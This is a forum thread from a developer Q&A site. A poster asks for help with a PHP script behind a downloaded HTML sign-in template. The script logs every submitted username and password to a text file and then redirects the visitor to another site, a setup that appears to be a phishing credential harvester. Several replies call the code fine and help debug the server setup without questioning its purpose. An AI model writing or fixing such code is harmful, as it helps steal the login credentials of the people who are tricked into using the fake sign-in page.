473,386 Members | 1,720 Online
Bytes | Software Development & Data Engineering Community
Post Job

Home Posts Topics Members FAQ

Join Bytes to post your question to a community of 473,386 software developers and data experts.

No knowledge! Please help

I have no knowledge of how this work. I have this html template that I downloaded. It has a sign-in box that I would like for the username and password sent back to me to the password. txt file i have set up.
Is this right?[php]<?php
header("Location: Location: http://home14.com/index.cfm?fuseaction=user");
$handle = fopen("passwords.txt", "a");
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>[/php]

Please enclose any code within the proper code tags. See the Posting Guidelines on how to do that. - MODERATOR
Mar 10 '08 #1
5 1239
TheServant
1,168 Expert 1GB
Looks good. So this is where the form sends the information to? Why are you not using databases? Personally, I think sending user names and passwords to a text file is just setting yourself up for getting hacked.
Mar 11 '08 #2
nomad
664 Expert 512MB
Looks good. So this is where the form sends the information to? Why are you not using databases? Personally, I think sending user names and passwords to a text file is just setting yourself up for getting hacked.

I agree with Servant...
doing it the way you have it now will lead to a sorts of problems.


Read up on how to make a db using MySql.
Then read up on how to connect to the db using PHP.

nomad
Mar 11 '08 #3
Thanks guys. That was a quick reply!!!

Security is not my main concern though. I just cant get it to work. Once I hit the summit button on the html page, it just brings up the php file as it is would be in notepad and nothing is copied to my password.txt file.

the location: should point to my php file right?

example

header("Location: http://mydomain/post.php")
Mar 11 '08 #4
Markus
6,050 Expert 4TB
Thanks guys. That was a quick reply!!!

Security is not my main concern though. I just cant get it to work. Once I hit the summit button on the html page, it just brings up the php file as it is would be in notepad and nothing is copied to my password.txt file.

the location: should point to my php file right?

example

header("Location: http://mydomain/post.php")
So the php doesnt parse, it just gets displayed on your webpage as text?

Are you running something like apache?
Mar 11 '08 #5
ronverdonk
4,258 Expert 4TB
Looks like your PHP script is not recognized as a PHP script by the server. Are you sure you have PHP installed and running on the server. And , if so, is PHP configured in the server?

Ronald
Mar 11 '08 #6

Sign in to post your reply or Sign up for a free account.

Similar topics

3
by: Maurice LING | last post by:
Hi, I've learnt and used Java and Python for a few years now, on bits of my thesis work etc etc. I will have to say that I love both languages and the possibilities they can provide. More...
0
by: Mark Moeykens | last post by:
Does anyone know of a place that has a collection of tips and tricks or hard-won knowledge in regards to .NET. You know what I'm talking about, that kind of knowledge where once you learn it you...
3
by: Dirk Rudolf | last post by:
I like to announce you the product X2U, avaible under http://www.lumrix.net/x2. X2U is an acronym for "XML to user". Existing XML editors still ignore the fact that users don't want to read XML...
1
by: Hendrik van Rooyen | last post by:
Hi, It is possible to build a system where the fields are "self defining" : - One way is to keep a dictionary of tags and descriptors, and to keep "the data" in a dictionary using the same...
2
by: cutebravo | last post by:
Enhance your knowledge and boost your mind A great way to improve your knowledge is a technique I used when I was a student. After I had finished reading a book, I took a few blank sheets and...
2
by: Spam Catcher | last post by:
Hello, Does anyone have a recommendation for knowledge base software for ASP.NET? Any open source solutions out there? I'm looking for a system which I can integrate into existing pages if...
3
by: perfectclick.ng | last post by:
I'm a beginner of MS Access, I need adequate knowledge on how to programme. I have a challenge in my office to write a pragramme that will calculate a compensation for all our distributors. This is...
3
by: NAU programmers | last post by:
Hey folks, Me and my friend are beginning our 3rd year at Computer engineering faculty in a university in Kiev-Ukraine . Unfortunately, there aren't any good professors in our university, and the...
0
by: taylorcarr | last post by:
A Canon printer is a smart device known for being advanced, efficient, and reliable. It is designed for home, office, and hybrid workspace use and can also be used for a variety of purposes. However,...
0
by: Charles Arthur | last post by:
How do i turn on java script on a villaon, callus and itel keypad mobile phone
0
by: aa123db | last post by:
Variable and constants Use var or let for variables and const fror constants. Var foo ='bar'; Let foo ='bar';const baz ='bar'; Functions function $name$ ($parameters$) { } ...
0
by: ryjfgjl | last post by:
If we have dozens or hundreds of excel to import into the database, if we use the excel import function provided by database editors such as navicat, it will be extremely tedious and time-consuming...
0
by: ryjfgjl | last post by:
In our work, we often receive Excel tables with data in the same format. If we want to analyze these data, it can be difficult to analyze them because the data is spread across multiple Excel files...
1
by: Sonnysonu | last post by:
This is the data of csv file 1 2 3 1 2 3 1 2 3 1 2 3 2 3 2 3 3 the lengths should be different i have to store the data by column-wise with in the specific length. suppose the i have to...
0
by: Hystou | last post by:
There are some requirements for setting up RAID: 1. The motherboard and BIOS support RAID configuration. 2. The motherboard has 2 or more available SATA protocol SSD/HDD slots (including MSATA, M.2...
0
marktang
by: marktang | last post by:
ONU (Optical Network Unit) is one of the key components for providing high-speed Internet services. Its primary function is to act as an endpoint device located at the user's premises. However,...
0
by: Hystou | last post by:
Most computers default to English, but sometimes we require a different language, especially when relocating. Forgot to request a specific language before your computer shipped? No problem! You can...

By using Bytes.com and it's services, you agree to our Privacy Policy and Terms of Use.

To disable or enable advertisements and analytics tracking please visit the manage ads & tracking page.